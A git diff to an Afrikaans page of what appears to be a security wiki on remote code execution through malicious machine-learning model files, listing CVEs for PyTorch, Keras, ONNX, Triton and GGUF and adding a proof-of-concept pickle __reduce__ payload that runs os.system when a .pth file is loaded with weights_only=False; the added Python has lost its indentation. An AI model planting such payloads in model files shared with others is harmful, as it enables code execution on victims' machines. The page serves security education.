diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md
index a76e00832..0c6fdba7c 100644
--- a/src/AI/AI-Models-RCE.md
+++ b/src/AI/AI-Models-RCE.md
@@ -15,14 +15,51 @@ Tydens die skryf hiervan is hier 'n paar voorbeelde van hierdie tipe kwesbaarhed
 | **TensorFlow/Keras**        | **CVE-2021-37678** (onveilige YAML) <br> **CVE-2024-3660** (Keras Lambda)                                                    | Laai model vanaf YAML gebruik `yaml.unsafe_load` (kode exec) <br> Laai model met **Lambda** laag voer arbitrêre Python kode uit          | |
 | TensorFlow (TFLite)         | **CVE-2022-23559** (TFLite parsing)                                                                                          | Gemaakte `.tflite` model veroorsaak heelgetal oorgang → heap korrupsie (potensiële RCE)                                               | |
 | **Scikit-learn** (Python)   | **CVE-2020-13092** (joblib/pickle)                                                                                           | Laai 'n model via `joblib.load` voer pickle uit met aanvaller se `__reduce__` payload                                                   | |
-| **NumPy** (Python)          | **CVE-2019-6446** (onveilige `np.load`) *betwis*                                                                             | `numpy.load` standaard het toegelaat dat gepekelde objekreeks – kwaadwillige `.npy/.npz` veroorsaak kode exec                           | |
+| **NumPy** (Python)          | **CVE-2019-6446** (onveilige `np.load`) *betwis*                                                                             | `numpy.load` standaard het toegelaat dat gepekelde objekreeks – kwaadwillige `.npy/.npz` veroorsaak kode exec                            | |
 | **ONNX / ONNX Runtime**     | **CVE-2022-25882** (dir traversaal) <br> **CVE-2024-5187** (tar traversaal)                                                  | ONNX model se eksterne gewigte pad kan die gids ontsnap (lees arbitrêre lêers) <br> Kwaadwillige ONNX model tar kan arbitrêre lêers oorskryf (wat lei tot RCE) | |
 | ONNX Runtime (ontwerp risiko) | *(Geen CVE)* ONNX pasgemaakte ops / beheerstroom                                                                                 | Model met pasgemaakte operateur vereis laai van aanvaller se inheemse kode; komplekse model grafieke misbruik logika om onbedoelde berekeninge uit te voer | |
-| **NVIDIA Triton Server**    | **CVE-2023-31036** (pad traversaal)                                                                                          | Gebruik model-laai API met `--model-control` geaktiveer laat relatiewe pad traversaal toe om lêers te skryf (bv. oorskryf `.bashrc` vir RCE) | |
-| **GGML (GGUF formaat)**     | **CVE-2024-25664 … 25668** (meervoudige heap oorgange)                                                                       | Misvormde GGUF model lêer veroorsaak heap buffer oorgange in parser, wat arbitrêre kode-uitvoering op die slagoffer stelsel moontlik maak | |
+| **NVIDIA Triton Server**    | **CVE-2023-31036** (pad traversaal)                                                                                          | Gebruik model-laai API met `--model-control` geaktiveer laat relatiewe pad traversaal toe om lêers te skryf (bv., oorskryf `.bashrc` vir RCE) | |
+| **GGML (GGUF formaat)**      | **CVE-2024-25664 … 25668** (meervoudige heap oorgange)                                                                        | Misvormde GGUF model lêer veroorsaak heap buffer oorgange in parser, wat arbitrêre kode-uitvoering op die slagoffer stelsel moontlik maak | |
 | **Keras (ou formate)**      | *(Geen nuwe CVE)* Erflike Keras H5 model                                                                                      | Kwaadwillige HDF5 (`.h5`) model met Lambda laag kode voer steeds uit op laai (Keras safe_mode dek nie ou formaat nie – “downgrade aanval”) | |
-| **Ander** (generies)        | *Ontwerp fout* – Pickle serialisering                                                                                         | Baie ML gereedskap (bv. pickle-gebaseerde model formate, Python `pickle.load`) sal arbitrêre kode wat in model lêers ingebed is uitvoer tensy dit gemitigeer word | |
+| **Ander** (generies)        | *Ontwerp fout* – Pickle serialisering                                                                                         | Baie ML gereedskap (bv., pickle-gebaseerde model formate, Python `pickle.load`) sal arbitrêre kode wat in model lêers ingebed is uitvoer tensy dit gemitigeer word | |
 
 Boonop is daar 'n paar python pickle-gebaseerde modelle soos die wat deur [PyTorch](https://github.com/pytorch/pytorch/security) gebruik word wat gebruik kan word om arbitrêre kode op die stelsel uit te voer as hulle nie met `weights_only=True` gelaai word nie. So, enige pickle-gebaseerde model kan spesiaal kwesbaar wees vir hierdie tipe aanvalle, selfs al is hulle nie in die tabel hierbo gelys nie.
 
+Voorbeeld:
+
+- Skep die model:
+```python
+# attacker_payload.py
+import torch
+import os
+
+class MaliciousPayload:
+def __reduce__(self):
+# This code will be executed when unpickled (e.g., on model.load_state_dict)
+return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))
+
+# Create a fake model state dict with malicious content
+malicious_state = {"fc.weight": MaliciousPayload()}
+
+# Save the malicious state dict
+torch.save(malicious_state, "malicious_state.pth")
+```
+- Laai die model:
+```python
+# victim_load.py
+import torch
+import torch.nn as nn
+
+class MyModel(nn.Module):
+def __init__(self):
+super().__init__()
+self.fc = nn.Linear(10, 1)
+
+model = MyModel()
+
+# ⚠️ This will trigger code execution from pickle inside the .pth file
+model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
+
+# /tmp/pwned.txt is created even if you get an error
+```
 {{#include ../banners/hacktricks-training.md}}